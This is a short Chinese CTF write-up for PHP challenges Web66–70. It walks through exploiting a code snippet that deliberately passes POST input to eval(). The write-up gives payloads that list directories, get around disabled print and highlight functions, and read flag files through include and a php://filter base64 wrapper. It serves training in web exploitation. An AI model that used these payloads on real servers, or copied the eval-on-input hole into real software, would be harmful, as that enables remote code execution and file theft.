Web66
源代码:
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
代码审计:
POST传参c,eval进行代码执行。
思路:
由于题目过滤了命令执行函数,所以使用其他方法进行RCE。
先使用c=var_dump(scandir("."))
查看当前目录下的文件,发现了flag.php
highlight_file('flag.php')
查看发现没有flag.
于是使用c=var_dump(scandir("/"))
查看根目录,发现flag.txt
EXP:
c=highlight_file('/flag.php');
得到flag.
Web67
与上一题做法相同。
Web68
进入界面,回显为一个报错:
代码审计:
说明highlight_file()函数被禁用了。
思路:
用php伪协议查看文件内容。
EXP:
c=include($_POST[1]);&1=php://filter/convert.base64-encode/resource=/flag.txt
base64解码得到flag.
Web69
回显与上一题相同。
思路
查看目录下的文件:
c=var_dump(scandir("/"));
c=print_r(scandir("/"));
发现两个打印函数都被过滤了。
替换为var_export或implode即可。
EXP:
查看目录:
c=var_export(scandir("/"));
c=echo implode("--",scandir("/"));
读取文件内容:
c=include("/flag.txt");
Web 70
与上一题做法相同。